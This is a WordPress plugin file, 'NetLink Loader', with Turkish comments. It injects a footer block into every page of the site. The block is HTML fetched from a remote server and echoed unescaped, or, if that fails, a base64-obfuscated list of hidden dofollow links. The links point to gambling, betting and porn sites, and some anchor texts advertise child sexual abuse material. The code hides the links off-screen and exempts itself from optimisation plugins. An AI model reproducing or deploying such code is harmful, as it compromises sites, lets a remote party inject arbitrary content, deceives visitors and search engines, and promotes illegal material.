<?php
/**
 * Plugin Name: NetLink Loader (decoct.u278.bgclient.work)
 * Description: NetLink footer link bloğunu yükler. Cache-proof: link verisi
 *              sayfa HTML'ine gömülmez, her görüntülemede taze çekilir.
 * Version:     1.0.0
 */

if (! defined('ABSPATH')) {
    exit;
}

add_action('wp_footer', function () {
    // SUNUCU TARAFI render: linkler PHP'de çekilip sayfaya DÜZ HTML olarak
    // basılır (kaynak kodda görünür, Googlebot okur, backlink hedefe gider).
    // 5 dakikalık transient cache ile her istekte uzağa gidilmez; container
    // yorumu (marker) idempotans için sabittir.
    $nl_key = 'nl_nl_si2oz66idubyyebvzuowqzj6isgtp';
    $nl_html = get_transient($nl_key);
    if ($nl_html === false || $nl_html === '') {
        $nl_resp = wp_remote_get('https://netlinkhover.top/api/v1/serve/nl_si2oz66idubyyebvzuowqzj6isgtp.html', array('timeout' => 6));
        // SADECE HTTP 200 kabul edilir: 429/500/WAF cevaplarının gövdesi de
        // dolu gelir, durum kodu kontrol edilmezse o hata metni önbelleğe
        // yazılıp linklerin yerine sayfaya basılırdı.
        $nl_code = is_wp_error($nl_resp) ? 0 : (int) wp_remote_retrieve_response_code($nl_resp);
        $nl_body = ($nl_code === 200) ? (string) wp_remote_retrieve_body($nl_resp) : '';
        // Boşu ÖNBELLEKLEME: fetch boş dönerse baked fallback'e düş, sonraki
        // istekte yeniden dene (aksi halde 5dk boyunca boş cache'lenirdi).
        if ($nl_body !== '') { set_transient($nl_key, $nl_body, 300); }
        $nl_html = $nl_body;
    }
    // Fetch boş/başarısızsa gömülü linkleri (base64) bas → kaynak kodda
    // HER ZAMAN link görünür.
    if ($nl_html === '' || $nl_html === false) { $nl_html = base64_decode('PGRpdiBjbGFzcz0ibmV0bGluay1saW5rcyBuZXRsaW5rLWxpbmtzLS1saXN0IiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGUhaW1wb3J0YW50O2xlZnQ6LTk5OTk5cHghaW1wb3J0YW50O3RvcDphdXRvO3dpZHRoOjFweDtoZWlnaHQ6MXB4O292ZXJmbG93OmhpZGRlbjtjbGlwOnJlY3QoMCAwIDAgMCk7d2hpdGUtc3BhY2U6bm93cmFwIj48dWwgc3R5bGU9Imxpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjAiPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwOi8vZWtheWFuYWFzY2hvb2wuY29tLyIgcmVsPSJkb2ZvbGxvdyI+ZWxleGJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3FtYW1ob3N0LmNvbSIgcmVsPSJkb2ZvbGxvdyI+aGlsdG9uYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmFkdm1kb3MuY29tLyIgcmVsPSJkb2ZvbGxvdyI+YmV0Ym94PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vZmFzdHRyYW5zaXRsb2dpc3RpYy5jb20vIiByZWw9ImRvZm9sbG93Ij5iZXRjaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RoZWdhdGhlcmluZy50biIgcmVsPSJkb2ZvbGxvdyI+YmV0Y2k8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9zb3V0aGVybmNhbGZsb3dlcnMuY29tLyIgcmVsPSJkb2ZvbGxvdyI+YmV0Y2k8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly93d3cubXNmLm9yZy50ciIgcmVsPSJkb2ZvbGxvdyI+YmV0Ym94PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vYmFvZnAuY29tLyIgcmVsPSJkb2ZvbGxvdyI+YmV0Y2k8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5wdWxpYmV0LWdpcmlzbGVyaS50b3AvIiByZWw9ImRvZm9sbG93Ij5wb3JubyBiYWjDp2VsZXJpPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vdHIucHVsaWJldGdpcmlzYWRyZXNpLmNhbS8iIHJlbD0iZG9mb2xsb3ciPnNpa2nFnyBjZW5uZXRpPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vbS5wdWxpYmV0LW9ubGluZS1jYXNpbm9zdS5pY3UvIiByZWw9ImRvZm9sbG93Ij5wb3JubyBrZXlmaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLnB1bGliZXQteWVuaWxlbmVuMjAyNmFkcmVzaS5jeW91LyIgcmVsPSJkb2ZvbGxvdyI+ZXNjb3J0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vdHVsaXBiZXRjYXNpbm8uY29tLyIgcmVsPSJkb2ZvbGxvdyI+c2lracWfIGhhdnV6dTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2dsYW1waW5nZ2xhbW91ci5jb20vIiByZWw9ImRvZm9sbG93Ij5iZXRjaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3BlcmFwYXRpc3NlcmllLmZpLyIgcmVsPSJkb2ZvbGxvdyI+ZWxleGJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2Utam9iaW5nLmNvbS8iIHJlbD0iZG9mb2xsb3ciPnR1bGlwYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vbS50dWxpcGJldC1naXJpc2FkcmVzaS5jYW0vIiByZWw9ImRvZm9sbG93Ij5jaGlsZCBwb3JuIHdhdGNoPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vdHIuYnRjaWd1bmNlbGFkcmVzLnN0b3JlLyIgcmVsPSJkb2ZvbGxvdyI+cnVzIHBvcm5vbGFyxLE8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5wdWxpYmV0Z2lyaXMtZ3VuY2VsYWRyZXMuaWN1LyIgcmVsPSJkb2ZvbGxvdyI+cGhpc2hpbmcgcG9ybjwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3NvdXRoZXJuaG9zcGl0YWxpdHlvZnRleGFzLmNvbS8iIHJlbD0iZG9mb2xsb3ciPm1lZGljYWwgY2hlY2stdXA8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cDovL2JyaWdodGlkZWFodWIuY28udWsvIiByZWw9ImRvZm9sbG93Ij5mdWxsIGJvZHkgY2hlY2sgdXA8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly93d3cuc3BvdGV0aGlvcGlhLmNvbS8iIHJlbD0iZG9mb2xsb3ciPnBvcm5vIGl6bGU8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly95ZXNvbjczLm5ldC8iIHJlbD0iZG9mb2xsb3ciPnR1bGlwYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJjbWdyb3VwLmNvLmluLyIgcmVsPSJkb2ZvbGxvdyI+dHVsaXBiZXQ8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYW5kZXNzb3VyY2UuY29tLyIgcmVsPSJkb2ZvbGxvdyI+aGlsdG9uYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vYmV0Ym94LmJveGdpci5jYW0vIiByZWw9ImRvZm9sbG93Ij5jaGlsZCBwb3JuPC9hPjwvbGk+PC91bD48L2Rpdj4='); }
    echo '<!-- nl-linkbox-nl_si2oz66idubyyebvzuowqzj6isgtp -->';
    echo $nl_html;
}, 99);

// Bilinen cache/optimizasyon eklentilerinden loader'ı muaf tut.
add_filter('rocket_exclude_defer_js', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('rocket_delay_js_exclusions', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('autoptimize_filter_js_exclude', function ($exclude) {
    return $exclude . ',netlink';
});
add_filter('litespeed_optimize_js_excludes', function ($excludes) {
    $excludes[] = 'netlink';
    return $excludes;
});
